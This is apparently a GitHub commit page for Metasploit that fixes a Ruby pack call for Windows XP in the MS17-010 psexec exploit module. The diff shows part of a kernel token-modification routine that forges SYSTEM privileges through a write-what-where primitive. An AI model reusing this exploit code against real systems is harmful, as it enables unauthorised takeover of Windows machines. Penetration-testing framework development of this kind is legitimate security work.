Skip to content

Commit 6d35d24

Browse files
author
zerosum0x0
committed
fix pack error for xp
1 parent 1a74c60 commit 6d35d24

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

lib/msf/core/exploit/smb/client/psexec_ms17_010.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -129,7 +129,7 @@ def modify_token()
129129
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
130130
if fakeUserAndGroupCount != userAndGroupCount
131131
#write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
132-
write_what_where(fakeUserAndGroupCount.pack("V"), tokenAddr+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
132+
write_what_where([fakeUserAndGroupCount].pack("V"), tokenAddr+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
133133
end
134134
#write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
135135
write_what_where(fakeUserAndGroups, userAndGroupsAddr)

0 commit comments

Comments
 (0)